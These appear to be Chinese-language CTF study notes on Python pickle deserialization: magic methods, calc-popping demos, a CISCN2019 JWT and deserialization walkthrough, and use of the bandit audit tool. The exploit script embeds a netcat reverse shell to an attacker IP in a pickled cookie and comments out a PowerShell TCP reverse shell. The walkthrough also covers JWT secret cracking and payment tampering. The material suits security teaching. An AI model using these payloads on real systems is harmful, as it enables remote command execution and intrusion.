1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化POP链构造
4、Python-自动化审计bandit使用
#前置知识:
函数使用:
pickle.dump(obj,file):将对象序列化后保存到文件
pickle.load(le):读取文件,将文件中的序列化内容反序列化为对象
pickle.dumps(obj):将对象序列化成字符串格式的字节流
pickle.loads(bytes obj):将字符串格式的字节流反序列化为对象
魔术方法:
__reduce (__() 反序列化时调用
__reduce__ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
各类语言函数:
Java:Serializable Extemalizable接☐、fastison、jackson、gson、
ObjectInputStream.read,ObjectobjectInputStream.readUnshared,XMLDecoder.read.
ObjectYaml loadXStream.fromXML ObjectMapper.readValue.JSON.parseObject
PHP:serialize().unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
原理-反序列化魔术方法-调用理解
CTF-反序列化漏洞利用-构造&RCE
CTF-CISCN2019华北-JWT&反序列化
代码审计-自动化工具-bandit?安装及使用
#原理反序列化魔术方法调用理解
魔术方法利用:
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用
getstate() 序列化时调用
代码块:
import pickle
import os
#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
##__reduce__()方法在序列化和反序列化时都会被调用,其中__reduce__()方法中需要return才能触发。
class SerializePerson():
def __init__(self, name):
self.name = name
# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器
反序列化时会调用__setstate__()方法,__init__() 方法是一个构造函数,它会在创建新对象时自动调用,
并用于初始化对象的状态和成员变量。当我们创建一个类的新实例时,
Python 解释器会自动调用该类的 __init__() 方法,并将实例本身作为第一个参数传递给该方法。
因此,在定义 __init__() 方法时,需要将该方法的第一个参数指定为 self,以便引用当前对象的成员变量。
#序列化魔术方法调用-__getstate__
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)
反序列化时自动调用__getstate__()
#反序列化安全漏洞产生-DEMO
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
pickle.loads(p_a) 反序列化该二进制字符串,并触发其中包含的 __reduce__() 方法。
由于该方法中包含了 self.func(*self.arg) 语句,因此在执行反序列化操作时,
Python 解释器会自动调用 os.system('calc') 函数,并弹出计算器应用程序。
python反序列化不同于PHP的一点时,构造利用链时不需要网站源码含有能被自动调用的魔术方法,
只需要在构造利用链的时候自己调用利用链中的魔术方法即可,也就说python源码中只有要pickle.load()反序列化函数即可利用
#CTF-反序列化漏洞利用构造&RCE
环境介绍:利用Python-ask搭建的web应用,获取当前用户的信息,进行展示,在获取用
户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!
思路:通过分析网站源代码可知,用过接收cookie中user参数的值,然后将值拼接到HELLOW 之后显示,
那么我们只需要构造利用链传参到cookie中user字段,即可利用
Server服务器:
hack-flag.py
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
#s = """powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.46.137",6666); = .GetStream();[byte[]] = 0..65535|%{0};while(( = .Read(, 0, .Length)) -ne 0){; = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(,0, ); = (iex 2>&1 | Out-String ); = + "PS " + (pwd).Path + "> "; = ([text.encoding]::ASCII).GetBytes();.Write(,0,.Length);.Flush()};.Close()"""
s='c:/nc -e cmd 192.168.46.137 6666'
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
print(s)
response = requests.get("http://192.168.1.3:5000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
#CTF-CISCN2019华北JWT&反序列化
通过提示->寻找lV6->购买修改支付逻辑->绕过admin限制需修改jwt值>爆被jwt密匙>重组
jwt值成为admin->购买进入会员中心->源码找到文件压缩源码->Python代码审计反序列化
>构适读取f1ag代码进行序列化打印->提交获取
考点1:JWT身份验证攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt-cracker
考点2:Pth0n代码审计反序列化:
自动工具:https://github.com/PyCQA/bandit
参考资料:https://github.com/bit4woo/python_sec
思路:根据网站提示找到lv6–使用爬虫爬取lv6
import requests,time
url="http://45bc846d-ca58-49a6-812d-de90e99f548d.node5.buuoj.cn:81/shop?page="
for i in range(0,2000):
time.sleep(0.2)
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print(str(i)+'|no')
找到lv6地址,尝试进行购买–跳转到注册账号位置,进行注册登录,登录后发现账号金币远小于售卖价格
尝试进行burp改包修改支付逻辑(增大折扣力度)–返回只允许admin访问
绕过admin限制试图修改jwt值,但是需要对密钥进行爆破–使用工具爆破后获得密钥IKun–构造admin jwt值
页面并无其他内容,点击也无反应–查看js代码–含有网站源代码下载
进行代码审计–全局查找pickle.load()函数–找到反序列化位置,构造利用链
#代码审计-自动化工具band安装及使用
参考:https://bandit.readthedocs.lo/
安装:pip install bandit
linux:
安装后会在当前Python目录下6in
使用:bandit-r需要审计的源码目录
windows:
安装后会在当前Python目录下script
使用:bandit-r需要审计的源码目录